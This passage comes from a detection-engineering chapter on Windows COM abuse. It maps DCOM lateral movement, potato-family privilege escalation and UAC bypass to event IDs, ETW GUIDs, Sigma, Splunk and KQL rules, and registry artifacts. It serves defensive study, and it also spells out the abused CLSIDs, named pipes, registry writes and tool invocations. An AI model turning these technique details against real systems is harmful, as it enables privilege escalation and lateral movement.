# 07 · Detection Engineering & Blue-Team Coverage > **Audience / level:** Red team operators who need to know exactly what a defender sees when a COM technique fires, and detection engineers building coverage for COM abuse; ramps from "which event log has this" to cross-source hunt queries and evasion tradeoffs. **Prerequisites:** chapters 01–06 of this series (or working knowledge of COM activation, DCOM remoting, and the registry layout); Sysmon and Windows event-log basics. **Estimated reading time:** 90–120 minutes. > After this chapter you will be able to map every COM attack family in this book to its concrete telemetry — exact event IDs, ETW provider GUIDs, Sigma/Splunk/Elastic rule names, registry artifacts, and wire indicators — and use that map to test detections, tune rules, and reduce operational noise. **Contents** - [1. Why COM Detection Is Hard](#1-why-com-detection-is-hard) - [2. Telemetry Sources Primer](#2-telemetry-sources-primer) - [3. Detecting DCOM Lateral Movement](#3-detecting-dcom-lateral-movement) - [4. Detecting COM Privilege Escalation](#4-detecting-com-privilege-escalation) - [5. Detecting UAC Bypass](#5-detecting-uac-bypass) - [6. Detecting COM Persistence](#6-detecting-com-persistence) - [7. Detecting Execution & Relay Abuse](#7-detecting-execution--relay-abuse) - [8. The Layered Coverage Matrix](#8-the-layered-coverage-matrix) - [9. Evasion Notes for Red Teamers](#9-evasion-notes-for-red-teamers) - [10. Mitigations & Hardening Master List](#10-mitigations--hardening-master-list) - [Research Lab: Detection-Engineering Your Own COM Research](#research-lab-detection-engineering-your-own-com-research) - [References](#references) --- ## 1. Why COM Detection Is Hard COM abuse is a living-off-the-land discipline. The execution vehicles are Microsoft-signed binaries that already exist on the host — `mmc.exe`, `explorer.exe`, `EXCEL.EXE`, `dllhost.exe`, `regsvr32.exe` → `scrobj.dll` — and the activation infrastructure is the same RPC plumbing legitimate administration uses. A DCOM lateral-movement chain creates **no service** (no System event 7045), **no scheduled task**, **no new listening port**, and needs no `ADMIN$` share for the pure PowerShell/C# primitives; it produces a logon event indistinguishable from normal admin activity ([11], [12]). Persistence is worse: a COM hijack lives entirely in the registry (the per-user hive `NTUSER.DAT` / `UsrClass.dat`), is re-read at every logon, and its trigger is *normal system activity* — a signed Microsoft process such as `explorer.exe` or `taskhostw.exe` does the `LoadLibrary` of the attacker DLL ([34], [35]). > **Beginner note:** **Living off the land** means executing attacker logic through binaries, scripts, and registry structures that ship with the OS, so that signature- and reputation-based controls see only trusted code. Detection has to shift from "what ran" (the binary is always legitimate) to "in what context did it run" (parentage, command line, registry state, wire shape). That context is what this chapter catalogs. The research behind chapters 02–06 surfaces a specific set of visibility gaps. Each is a place where default telemetry is silent or degraded: 1. **Autoruns misses most COM hijacks.** Sysinternals Autoruns enumerates only specific COM categories; it does not diff the full `HKCU\Software\Classes\CLSID` tree against HKLM, so the classic per-user CLSID shadow is invisible in default views. Even when a Run-key launcher is used (`rundll32.exe -sta {CLSID}`), the visible autorun points to a signed Microsoft binary while the payload path hides in the Classes hive ([35]). See section 6. 2. **Raw RPC ETW lacks the remote IP.** The `Microsoft-Windows-RPC` provider reports interface UUID, opnum, protocol, and endpoint — but not the peer address that would tie an inbound `RemoteCreateInstance` to a specific workstation. This is the documented Zero Networks gap that the RPC Firewall exists to close; its log event 3 carries UUID, opnum, source IP, and principal per call ([5], [6], [7]). See section 2.4. 3. **Sysmon event 8 (`CreateRemoteThread`) does not fire.** COM-based code injection — type-confusion PPL injection, `IRundown::DoCallback`, trapped-COM `Assembly.Load` — executes inside the target without thread creation, allocation APIs, or ROP. Treat EID 8 coverage as blind to this class ([37]). 4. **AMSI coverage is conditional.** Scriptlet content is scanned (JScript/VBScript engines, WSH), and PowerShell DCOM one-liners are fully logged via script-block logging (event 4104) — but the *network fetch* of a scriptlet is not scanned, DotNetToJScript output defaults to CLR v2 which has no AMSI hook, and the native stages of type-confusion/trapped-COM chains contain no script content at all ([41], [42], [43], [44]). See section 7.2. 5. **DistributedCOM 10016 is background noise.** Machine-default launch/access denials log the 10015/10016 family constantly on unpatched estates, training analysts to ignore the channel — even though the same channel carries genuine probing signal (section 3.4) and the KB5004442 hardening events 10036–10038 ([8], [9]). 6. **The strongest execution contexts are the least observable.** A trapped-COM chain runs fileless inside a PPL `svchost` as SYSTEM — a process class many EDR sensors cannot introspect — with registry values as the only disk artifacts ([37], [38]). > **Key idea:** You cannot reliably detect a COM *technique* (there are too many, all riding signed code); you detect the *seams* every technique must cross — a process-lineage anchor (`svchost -k DcomLaunch` spawning a server), a registry seam (a HKCU shadow, a `TreatAs`, a `ScriptletURL`), a wire seam (TCP 135 + dynamic ports, cleartext `IDispatch` method strings), or a token seam (a High-IL child with no `consent.exe`). Sections 3–7 are organized by attack family; section 8 re-organizes the same data by seam. --- ## 2. Telemetry Sources Primer This section is the reference layer for the rest of the chapter: every source the briefs attest, with its exact identifiers. Later sections cite these IDs without re-explaining them. > **Beginner note:** **Sysmon** (System Monitor) is a free Microsoft driver/service that logs structured operational events (process, network, file, registry, pipe, DNS) to `Microsoft-Windows-Sysmon/Operational`; event quality depends entirely on the deployed config — community baselines are SwiftOnSecurity's `sysmon-config` and Olaf Hartong's `sysmon-modular` ([46], [47]). **ETW** (Event Tracing for Windows) is the kernel-integrated telemetry bus underneath; security tools subscribe to named providers identified by GUID. **Security event log** IDs (4xxx/5xxx) come from audit policy, not Sysmon. ### 2.1 Sysmon events | EID | Type | COM signal it carries (attested uses) | |---|---|---| | 1 | Process creation | Lineage anchors: `svchost.exe -k DcomLaunch` → `mmc.exe -Embedding`, `EXCEL.EXE /automation -Embedding`, `DllHost.exe /Processid:{AppID}`; second-generation `mmc.exe`/`explorer.exe`/`EXCEL.EXE` → `cmd.exe`; `regsvr32 /i:` + URL + `scrobj.dll`; PowerShell with `GetTypeFromCLSID`/`GetTypeFromProgID`/`Activator]::CreateInstance`/`ExecuteShellCommand`/`ShellExecute`/`DDEInitiate`; `IntegrityLevel` + `ParentImage` fields for UAC chains ([1], [2], [14], [15]) | | 3 | Network connection | Inbound TCP 135 to `svchost` + dynamic high port; `regsvr32` outbound HTTP/S (near-zero false positives); unexpected egress from `mmc`/`excel`/`dllhost` = beacon ([12], [14]) | | 7 | Image load | `scrobj.dll` inside `regsvr32`; `.xll`/unknown DLL into `EXCEL.EXE`; `wshom.ocx`; `iertutil.dll` from non-system path; `clr.dll`/`clrjit.dll`/`mscoree.dll` inside `dllhost`/`svchost`/`mmc`/`explorer` (DotNetToJScript and trapped COM); hijack DLLs outside `System32` in `explorer`/`svchost`/`taskhostw` ([15], [35]) | | 8 | CreateRemoteThread | **Evasion gap:** COM injection mostly does *not* trip this event — do not rely on it for COM coverage (section 7) | | 10 | Process access | Handle/token duplication into known UAC-bypass binaries (`fodhelper`, `eventvwr`, `computerdefaults`, `sdclt`, `slui`, `mmc`, `wsreset`, `pkgmgr`) ([28]) | | 11 | File create | `.sct` drops; `mobsync.exe`/`.ppam`/`.xlsm` staging via `ADMIN$`; mock trusted directories (paths with trailing spaces); `%TEMP%\{GUID}\dismhost` staging; `windowscoredeviceinfo.dll`/`SprintCSP.dll`/`printconfig.dll` written to `System32` ([13], [50], [51]) | | 12 | Registry key create/delete | Keys under `HKCU\Software\Classes\CLSID\{...}`, `...\TypeLib\{...}`, `HKU\_Classes\*` ([16], [17]) | | 13 | Registry value set | `InprocServer32`/`LocalServer32`/`TreatAs`/`ProgID`/`ScriptletURL` writes; UAC shell-association keys (`ms-settings`, `mscfile`, `Folder`, `AppX82a6...`); `HKLM\SOFTWARE\Classes\AppID\{...}\RunAs` (RemoteMonologue); `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*` (hardening tamper); `AllowDCOMReflection`/`OnlyUseLatestCLR`; `LmCompatibilityLevel`; `LaunchPermission` tampering ([16], [17], [18], [39]) | | 14 | Registry key/value rename | Rename-based staging of COM hijack keys ([16]) | | 17/18 | Pipe created/connected | Potato-family named pipes: `\\.\pipe\roguepotato\pipe\epmapper`, `\\.\pipe\*\pipe\spoolss`; `mscorsvw` marshaling pipes ([52], [53]) | | 22 | DNS query | `regsvr32` resolving scriptlet hosts ([14]) | ### 2.2 Security and other Windows event logs | Event | Source/log | COM signal | |---|---|---| | 4624 Type 3 | Security | Network logon on the target from DCOM activation (NTLM with IP targets; Kerberos adds 4768/4769); also Type 9 (`NewCredentials`) from the JuicyPotatoNG `LogonUser` trick ([11], [54]) | | 4625 | Security | Failed logons accompanying DCOM probing | | 4648 | Security | Explicit-credential logon on the *source* host (`dcomexec` with cleartext creds) ([12]) | | 4672 | Security | Special privileges assigned — admin-grade DCOM logon on target | | 4688 | Security | Process creation with command line (mirror of Sysmon 1, needs audit policy + command-line auditing) | | 4657/4663 | Security | Registry value modification / object access — requires SACLs on `Software\Classes\AppID`, `CLSID`, `TypeLib` keys | | 5156/5158 | Security (WFP) | Windows Filtering Platform connection events — covers 135/dynamic-port flows but very noisy | | 5712 | Security | RPC interface filtering event — the briefs flag it as **unreliable**; use RPC Firewall instead ([6]) | | 4104 | PowerShell Operational | Script-block logging: catches `GetTypeFromCLSID`, `ExecuteShellCommand` one-liners verbatim ([21], [22]) | | 8004 | AppLocker | Blocked execution events when scriptlet/child-process rules deny a COM chain ([15]) | | Audit DCOM Activity | Security (subcategory) | Native DCOM audit subcategory; powerful but rarely enabled — enable on critical servers | ### 2.3 DistributedCOM events (System log) | Event | Meaning | Detection use | |---|---|---| | 10006 / 10016 | Launch/access **denied** (machine or AppID ACL) | Probing indicator: a principal enumerating or attempting activations it lacks rights for ([11]) | | 10009 / 10028 | DCOM communication/unreachable-server errors | Failed activation attempts; useful in correlation, noisy alone | | 10010 | Server "did not register with DCOM within the required timeout" | Abandoned-binary hijack (`mobsync.exe` pattern): the planted payload runs but never registers — client sees `0x80080005`, target logs 10010 ([13]) | | 10015 / 10016 | `E_ACCESSDENIED` at activation (launch gate) | The classic "DistributedCOM 10016" log noise — baseline it, then alert on *new* SID/CLSID pairs | | 10036 | **Server-side refusal**: activation below `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` floor — logs user/SID/client IP | KB5004442-era content; prime source for spotting legacy-tool or relay-flavored activation attempts ([8], [9], [10]) | | 10037 / 10038 | **Client-side** events: local client below the required authentication level | Same hardening family, on the initiating host ([8], [9]) | ### 2.4 ETW providers (exact GUIDs) | Provider | GUID | Detection use | |---|---|---| | Microsoft-Windows-RPC (Debug) | `{6AD52B32-D609-4BE9-AE07-CE8DAE937E39}` | EID 5/6 RPC client/server call start: `InterfaceUuid`, `OpNum`, `Protocol`, `Endpoint` — the core ORPC lens ([5]) | | Microsoft-Windows-RPC-Events | `{F4AED7C7-A898-4627-B053-44A7CAA12FCD}` | RPC operational channel | | Microsoft-Windows-RPCSS | `{D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C}` | RPCSS/DcomLaunch hosting events | | Microsoft-Windows-COMRuntime | `{BF406804-6AFA-46E7-8A48-6C357E1D6D61}` | COM activation/runtime tracing (verbose; enable in labs, sample in production) | | Microsoft-Windows-COM-Perf | `{B8D6861B-D20F-4EEC-BBAE-87E0DD80602B}` | COM performance counters | | Microsoft-Windows-COM-RundownInstrumentation | `{2957313D-FCAA-5D4A-2F69-32CE5F0AC44E}` | Rundown/state capture | | Microsoft-Windows-DotNETRuntime | `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` | Assembly loads/JIT inside COM hosts (`wscript`, `dllhost`, `svchost`) — catches DotNetToJScript and trapped-COM `Assembly.Load` even when AMSI is bypassed ([42], [43]) | | Microsoft-Windows-Threat-Intelligence | `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` | Injection-style memory behavior; consumers must run as PPL ([37]) | Interface UUIDs worth keying RPC ETW (EID 5/6) and RPC Firewall rules on: `IRemoteSCMActivator` `{4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57}`, `ISystemActivator` `{000001A0-0000-0000-C000-000000000046}`, `IObjectExporter`/`IOXIDResolver` `{99FCFEC4-5260-101B-BBCB-00AA0021347A}`, `IRemUnknown` `{00000131-0000-0000-C000-000000000046}`, `IRemUnknown2` `{00000143-0000-0000-C000-000000000046}` ([5], [6]). Chain-context interfaces for coercion hunting: MS-EFSR `{C681D488-D850-11D0-8C52-00C04FD90F7E}`, MS-RPRN `{AE33069B-A2A8-46EE-A235-DDFD339BE281}` / `{12345678-1234-ABCD-EF00-0123456789AB}`. The **RPC Firewall** (Zero Networks) is the compensating control for the missing-remote-IP gap: it mediates RPC calls and logs per-call UUID, opnum, source IP, and principal in its own event 3; the Sigma rule *Remote DCOM/WMI Lateral Movement* (`68050b10-e477-4377-a99b-3721b422d6ef`) keys on it ([6], [7]). ### 2.5 Network telemetry DCOM activation has a fixed wire shape: short-lived TCP 135 (endpoint mapper) to the target's `svchost`, then method calls over a dynamic high port (`49152–65535` on Vista+, `1024–5000` legacy) negotiated by OXID resolution (`IObjectExporter::ResolveOxid2`) ([11], [12]). Concrete network signals: - **Workstation-to-workstation TCP 135** is high-fidelity — legitimate DCOM flows (SCCM, backup, OPC, AV management) come from known management hosts. - **DCE/RPC content**: activation calls `RemoteGetClassObject` / `RemoteCreateInstance` on 135; `IDispatch::GetIDsOfNames` method-name strings (`ShellExecute`, `ExecuteShellCommand`) and `Invoke` arguments traverse the wire **in cleartext at Packet-Integrity** authentication — only Packet Privacy encrypts payloads ([11], [12]). Zeek `dce_rpc` and Suricata decode these. - **`MEOW`**: the OBJREF signature (`0x574F454D`) of every marshaled interface pointer is trivially greppable in packet captures and memory. - Egress from `mmc.exe`/`EXCEL.EXE`/`dllhost.exe` to rare destinations is beacon-shaped (Sysmon 3 / NetFlow). > **Warning (brief discrepancy):** the R2 brief documents the activation interface `ISystemActivator`/`IRemoteSCMActivator` opnums as 3 (`RemoteGetClassObject`) and 4 (`RemoteCreateInstance`); the R1 brief's wire-sequence notes say `RemoteCreateInstance` is opnum 6. R6 does not settle it. Opnum numbering shifts with interface inheritance (`IRemoteSCMActivator` vs its `ISystemActivator` derivative) — **verify against your own decoder/RPC Firewall before hard-coding opnum filters**. --- ## 3. Detecting DCOM Lateral Movement The chapter-02 attack family (T1021.003 / T1559.001) is the best-instrumented COM abuse class: it crosses every seam — lineage, logon, wire, and (when hardened) the DistributedCOM log. Coverage below is per-layer. ### 3.1 Process lineage (Sysmon 1 / Security 4688) Every remote-activation object leaves a two-generation signature: `svchost.exe -k DcomLaunch` spawns the COM server, and the payload spawns from that server. The lineage table doubles as a "which object did they use" fingerprint: | Object | First generation (parent → server) | Second generation (payload parent) | Distinguishing artifact | |---|---|---|---| | MMC20.Application `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}` | `svchost -k DcomLaunch` → `mmc.exe -Embedding` | `mmc.exe` → `cmd`/`powershell` | Command line split into program/args; window state `"7"` ([11]) | | ShellWindows `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` | none — piggybacks the running `explorer.exe` (no new COM host) | `explorer.exe` → payload | Requires an interactive session; default object in impacket `dcomexec` ([12], [61]) | | ShellBrowserWindow `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}` | none/new `explorer.exe` if no window exists | `explorer.exe` → payload | Win10/2012R2+ only; `Navigate`/`Navigate2` variant ([61]) | | Excel.Application (5 primitives) | `svchost -k DcomLaunch` → `EXCEL.EXE /automation -Embedding` | `EXCEL.EXE` → `cmd`/XLL/macro | `/automation -Embedding` is a strong artifact; Sysmon 7 for `.xll` loads; XLM/shellcode variants from the MDSec C# work ([62], [63]) | | Outlook.Application `{0006F03A-0000-0000-C000-000000000046}` | `svchost` → `OUTLOOK.EXE -Embedding` | in-process shellcode via ScriptControl | `wshom.ocx` image load if `Wscript.Shell` variant used ([61]) | | Surrogate-hosted classes | `svchost` → `DllHost.exe /Processid:{AppID}` | per technique | Anomalous `/Processid:` values are reviewable ([12]) | | Abandoned binary (mobsync) `{C947D50F-378E-4FF6-8835-FCB50305244D}` | planted binary at the registered path | payload process itself | Sysmon 11 `ADMIN$` write + DistributedCOM 10010 ([13]) | > **Warning (brief discrepancy):** the R2 brief identifies Excel.Application by CLSID `{00020812-0000-0000-C000-000000000046}` while R6's execution-objects table uses `{00024500-0000-0000-C000-000000000046}`. Per the R6-preference rule, treat `{00024500-...}` as canonical — and verify against the target's registry before hard-coding any CLSID filter. > **Key idea:** Office COM servers running non-interactively on *servers* are approximately zero-false-positive — no legitimate workflow activates `Excel.Application` over DCOM on a server. The Sigma SharpMove rule (`proc_creation_win_hktl_sharpmove`) and the FalconFriday 0xFF05 analytic cover this layer; note FalconFriday's own caveat that `/automation -Embedding` alone is noisy on workstations and must be correlated with lineage and network ([1], [2]). ### 3.2 The Sigma MMC20 rule The canonical lineage rule — *MMC20 Lateral Movement*, id `f1f3bf22-deb2-418d-8cce-e1a45e46a5bd`, level high ([1]): ```yaml # Condensed selection logic of Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd [1] detection: selection: ParentImage|endswith: '\svchost.exe' Image|endswith: '\mmc.exe' CommandLine|contains: '-Embedding' ``` It fires on the *first* generation only. Pair it with a second-generation rule (`mmc.exe` → `cmd.exe`/`powershell.exe`) and with the Splunk analytics *Remote Process Instantiation via DCOM and PowerShell* (`d4f42098-4680-11ec-ad07-3e22fbd008af`), its *Script Block* variant (`fa1c3040-4680-11ec-a618-3e22fbd008af`, keys on 4104 content), *Mmc LOLBAS Execution Process Spawn* (`f6601940-4c74-11ec-b9b7-3e22fbd008af`), and *Possible Lateral Movement PowerShell Spawn* (`22282a2d-dc19-4b88-ac61-6c86ff92904f`) ([21], [22], [23], [24]). Elastic ships the prebuilt network rule *Incoming DCOM Lateral Movement with MMC* ([20]). ### 3.3 Network layer - Inbound 135 → short-lived epmap conversation → dynamic high port carrying the actual method calls (section 2.5). Workstation-to-workstation 135 is high-fidelity; restrict and alert ([12]). - Wire content: `GetIDsOfNames`/`Invoke` with `ShellExecute`/`ExecuteShellCommand` strings and full command lines in cleartext at Packet Integrity — signature-able in Zeek/Suricata without decryption ([11]). - impacket `dcomexec` leaves a forensic regex in its semi-interactive output redirect: `\\__[0-9]{10}\.[0-9]{6,7}\s2>&1` (the `\\127.0.0.1\ADMIN$\__.` write-back file) — misthi0s' hunting signature ([3], [12]). - Microsoft Defender for Identity raises *Remote code execution attempt* for MMC20/ShellWindows patterns ([11]). ### 3.4 Windows events and KB5004442-era content - **4624 Type 3** on the target (NTLM when the target is addressed by IP; Kerberos 4768/4769 when by name), **4648** on the source for explicit creds, **4672** for privileged logons. DCOM is always authenticated, so the logon is guaranteed — it just looks like normal admin activity unless correlated with lineage and 135 flows ([11], [12]). - **DistributedCOM 10006/10016** (denials) = probing of objects whose AppID ACLs exclude the caller; **10010** = the mobsync/abandoned-binary pattern (server never registers) ([13]). - **KB5004442 hardening events** double as detection content: **10036** (server-side refusal below `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`, logging user/SID/**client IP**), **10037/10038** (client-side). Relay-era tooling and legacy clients trip these; authenticated admin DCOM at the floor does not — KB5004442 kills unauthenticated/relay paths, not credentialed lateral movement ([8], [9], [10]). - **Audit DCOM Activity** subcategory: rarely enabled, worth enabling on servers ([11]). ### 3.5 Hunt queries and attack-path modeling The MDE KQL form of the lineage anchor ([15]): ```kusto // DCOM lateral movement — COM servers spawned by DcomLaunch DeviceProcessEvents | where InitiatingProcessFileName =~ "svchost.exe" | where InitiatingProcessCommandLine has "DcomLaunch" | where FileName in~ ("mmc.exe","explorer.exe","dllhost.exe","excel.exe","mshta.exe") ``` BloodHound models the same surface as the **`ExecuteDCOM` edge** — collect it and review which principals hold effective DCOM launch rights over which hosts; every edge is both an attack path and a detection scope (where to watch 135 + lineage) ([4]). Validate coverage by running the Atomic Red Team T1021.003 tests and confirming each layer fires ([45]). --- ## 4. Detecting COM Privilege Escalation Chapter 03 splits into two detection problems: the potato family (DCOM used as a *trigger* to force a privileged server to authenticate to the attacker) and trapped-COM/IDispatch chains (registry seams + CLR reflection into privileged, sometimes protected, processes). ### 4.1 Potato-family artifacts All potatoes share a prerequisite that is itself a detection pivot: the attacker runs as a service account holding `SeImpersonatePrivilege` and/or `SeAssignPrimaryTokenPrivilege` (IIS AppPool, MSSQL, LOCAL/NETWORK SERVICE). A service account performing **DCOM activation of a SYSTEM-authenticating class** is anomalous in itself — baseline which service accounts ever activate BITS (`{4991D34B-80A1-4291-83B6-3328366B9097}`), PrintNotify (`{854A20FB-2D44-457D-992F-EF13785D2B51}`), AxInstSv (`{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}`), or McpManagementService (`{A9819296-E5B3-4E67-8226-5E72CE9E1FB7}`) ([52], [54], [64]). | Tool | COM trigger | Unique artifacts to key on | Primary telemetry | |---|---|---|---| | RottenPotato / JuicyPotato (≤ Win10 1803) | `CoGetInstanceFromIStorage` with BITS CLSID `{4991D34B-80A1-4291-83B6-3328366B9097}` (Juicy: arbitrary `-c` CLSID) | Local COM listener on an attacker-chosen port (`-l`); byte-relay to real OXID resolver on 135 | Sysmon 3 loopback/listen anomalies; RPC ETW on `IObjectExporter` | | RoguePotato (Win10 1809+/Server 2019+) | BITS CLSID; `IStorage` bindings at a remote attacker IP | Fake OXID resolver (port 9999 local or `socat` 135 redirect); forged `ResolveOxid2` returning endpoint string `localhost/pipe/roguepotato[\pipe\epmapper]` → rpcss connects to **`\\.\pipe\roguepotato\pipe\epmapper`** | Sysmon 17/18 (pipe create/connect); outbound 135 to non-management hosts ([52]) | | JuicyPotatoNG | PrintNotify CLSID `{854A20FB-2D44-457D-992F-EF13785D2B51}`, COM-server port **10247** | `LogonUser` type 9 (`NewCredentials`) to add INTERACTIVE → Security **4624 logon type 9** from a service account; SSPI hook on `AcceptSecurityContext` | 4624 Type 9 + DCOM activation correlation; port 10247 listeners ([54]) | | GodPotato / DCOMPotato / PrintNotifyPotato | Service DCOM objects; attacker `IUnknown` callback impersonated via `CoImpersonateClient` | Variants named `PrinterNotifyPotato.exe` / `McpManagementPotato.exe` (CLSID `{A9819296-...}`); callback `QueryInterface` impersonation | Same service-account-activation pivot; RPC ETW | | LocalPotato (CVE-2023-21746) | PrintNotify / AxInstSv / McpManagementService CLSIDs; fake resolver (default port 10271) returns SPN `cifs/127.0.0.1` | Parallel rogue client against local SMB `127.0.0.1:445` (context swap); weaponization writes `SprintCSP.dll`/`printconfig.dll` to `System32` | Sysmon 11 (`System32` writes by service accounts); SMB loopback anomalies ([64]) | | RogueWinRM | BITS trigger (same service family) | Unprivileged process binding TCP 5985; BITS → HTTP NTLM to `127.0.0.1:5985` | Sysmon 3 (bind on 5985 by non-SYSTEM) | | PrintSpoofer | Not COM (MS-RPRN) — include for pipe telemetry parity | Printer name `\\HOSTNAME/pipe/foo` normalized to `\\.\pipe\foo\pipe\spoolss`; spooler (SYSTEM) connects to attacker pipe | Sysmon 17/18 on `*\pipe\spoolss` suffixes from non-spooler processes ([53]) | ### 4.2 Trapped-COM artifacts (Forshaw 2025 / IBM ForsHops) The fileless chain (local or remote) has exactly four disk/registry seams, all high-fidelity because none appear in normal operations ([37], [38]): 1. **`TreatAs` on the StdFont CLSID** — `HKLM\SOFTWARE\Classes\CLSID\{0BE35203-8F91-11CE-9DE3-00AA004BB851}\TreatAs` redirected at the .NET `System.Object` class (per-user `HKCU` variant exists for the no-admin path). 2. **`.NETFramework` reflection values** — `AllowDCOMReflection = 1` and `OnlyUseLatestCLR = 1` under `(HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework` (the former re-enables .NET DCOM reflection disabled since MS14-009). 3. **CLR load inside the medic service** — `clr.dll`/`clrjit.dll`/`mscoree.dll` image loads inside the `WaaSMedicSvc` `svchost` (a PPL, `PsProtectedSignerWindows-Light`) — visible in Sysmon 7 / MDE image-load even though the host is protected. 4. **YARA strings** (Samir Bousseaden's guidance, per the brief): the WaaSRemediation CLSID `{72566E27-1ABB-4EB3-B4F0-EB431CB1CB32}` and `{34050212-8AEB-416D-AB76-1E45521DB615}` in tool binaries/scripts — ForsHops (`forshops.exe [target] [c:\path\to\assembly]`) and ComDotNetExploit-class PoCs carry them ([38]). Hunt-query form ([15]): ```kusto // Trapped COM artifacts DeviceRegistryEvents | where RegistryKey has @"SOFTWARE\Microsoft\.NETFramework" | where RegistryValueName in~ ("AllowDCOMReflection","OnlyUseLatestCLR") and RegistryValueData == 1 // CLR in COM hosts DeviceImageLoadEvents | where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll") | where InitiatingProcessFileName in~ ("dllhost.exe","svchost.exe","mmc.exe","explorer.exe","wscript.exe","cscript.exe") ``` > **OpSec:** Microsoft classifies the trapped-COM class as *not a security-boundary violation* (admin→PPL is not defended) and shipped no CVE — meaning there is no patch to wait for and **detection is the only control**. The Outflank follow-up (LLM-assisted enumeration of alternative `IDispatch` classes that avoid the CLR-load limitation) removes signal 3, leaving the registry seams 1–2 as the durable indicators ([38], [56]). ### 4.3 Weaponization-primitive artifacts (DiagHub / USO lineage) These primitives recur across exploit chains, so their artifacts are reusable content: DiagHub `AddAgent` loading a DLL dropped over a non-TrustedInstaller System32 file (the `license.rtf` overwrite → load as SYSTEM pattern) shows as Sysmon 11 + 7 with `DiagnosticsHub.StandardCollector.Service.exe` as the loading process ([67]); the USO trick writes `C:\Windows\System32\windowscoredeviceinfo.dll` (a DLL that does not exist on clean systems) and triggers a scan via `usoclient.exe StartScan` — Sysmon 11 plus the `usoclient` command line ([66]). Microsoft killed both (19H1 `ProcessImageLoadPolicy` on DiagHub; later Insider hardening for USO), so presence of these artifacts on current builds also flags a legacy-target inventory problem. --- ## 5. Detecting UAC Bypass Chapter 04's family (T1548.002) is registry-first: nearly every technique writes a per-user association or environment value at Medium IL, then launches an auto-elevating Microsoft binary that consumes it. The telemetry stack is Sysmon 1 (with `IntegrityLevel` and `ParentImage`), 7, 10, 11, 12/13, plus Security 4688 and 4657/4663 registry auditing ([25], [28], [49]). ### 5.1 Registry-write IOCs (Sysmon 12/13 — high fidelity) | Key / value | Technique | |---|---| | `HKCU\Software\Classes\ms-settings\Shell\Open\command` — `(Default)` = payload, `DelegateExecute` emptied | `fodhelper.exe`, `computerdefaults.exe`, `slui.exe` family ([25]) | | `HKCU\Software\Classes\mscfile\shell\open\command` | `eventvwr.exe` → `mmc.exe eventvwr.msc` ([30], [65]) | | `HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe` | legacy `sdclt.exe` App Paths wave | | `HKCU\Software\Classes\Folder\shell\open\command` | `sdclt.exe` isolated-command waves (also WarzoneRAT persistence) | | `HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command` + empty `DelegateExecute` | `WSReset.exe` ([26]) | | `HKCU\Software\Classes\CLSID\{...}\InprocServer32` (handler redirect against `mmc`/`recdisc`) | COM handler hijack elevation | | `HKCU\Environment` — `windir`, `COR_ENABLE_PROFILING`, `COR_PROFILER`, `COR_PROFILER_PATH` | SilentCleanup `%windir%` expansion; .NET profiler DLL into auto-elevated managed binaries ([27]) | | `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System` — `EnableLUA`→0, `ConsentPromptBehaviorAdmin`→0, `PromptOnSecureDesktop`→0 | UAC weakening (needs prior admin = post-exploitation signal) | | `HKLM\...\Image File Execution Options\` — `VerifierDlls` | AppVerifier/IFEO DLL into elevated processes | ### 5.2 CLSID/IID watchlist and the elevation-moniker artifact Elevated-COM abuse is detectable by the objects it instantiates and the strings it carries ([49]): - `CLSID_CMSTPLUA` `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` + `IID_ICMLuaUtil` `{6EDD6D74-C007-4E75-B76A-E5740995E24C}` (`ShellExec`) — the workhorse. **Process artifact:** the elevated child spawns under `DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` (the surrogate hosting the elevated class) ([49]). - `CLSID_FileOperation` `{3AD05575-8857-4850-9277-11B85BDB8E09}` — privileged copy primitive; watch **Medium-IL processes creating files inside `%SystemRoot%\System32`** (Sysmon 11 with integrity-level context) as the arming step of every DLL-hijack method. - ElevatedFactoryServer `{A6BFEA43-501F-456F-A845-983D3AD7B8F0}` / `IElevatedFactoryServer` `{804BD226-AF47-4D71-B492-443A57610B08}` → Task Scheduler `{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}` — fileless SYSTEM via task XML. - The moniker string `Elevation:Administrator!new:` in command lines, scripts, and binaries — often stored reversed or XORed in loaders ([49]). ### 5.3 Behavioral patterns (the near-zero-FP set) Per the R4 brief's hunting set, ordered by fidelity: 1. **High-IL child of an auto-elevate binary** — `cmd`/`powershell`/payload in user paths whose parent is `fodhelper`, `computerdefaults`, `eventvwr`→`mmc`, `sdclt`, `wsreset` (Splunk *FodHelper UAC Bypass*, *Windows UAC Bypass Suspicious Child Process*) ([25], [29]). 2. **Registry write → matching System32 binary within seconds** — the automated chain shape (Splunk *WSReset UAC Bypass*; SigmaHQ ships per-technique `registry_set` rules) ([15], [26]). 3. **`HKCU\Environment` writes of `windir`/`COR_PROFILER_PATH`** + `schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup` (Splunk *.NET Profiler UAC bypass*) ([27]). 4. **Execution paths containing trailing spaces** (`C:\Windows \System32\...`) — mock trusted directories; SentinelOne's recommended alert for the DBatLoader/Remcos chain, mirrored by the Sigma *TrustedPath UAC Bypass Pattern* ([50], [51]). 5. **Image loads of the hijack-DLL name set** (`cryptbase`, `ntwdblib`, `dbgcore`, `atl`, `mscoree`, `netutils`, `dismcore`, `wow64log`, `BluetoothDiagnosticUtil`, ...) from non-System32 locations by elevated Microsoft-signed processes (Sysmon 7) ([49]). 6. **Silent elevation** — elevation events with **no `consent.exe`** on the wire, plus `Elevation:Administrator!new:` strings ([49]). 7. **Handle duplication into known UAC-bypass binaries** (Sysmon 10) — Splunk *Windows Handle Duplication in Known UAC-Bypass Binaries* ([28]). Validation tooling: Atomic Red 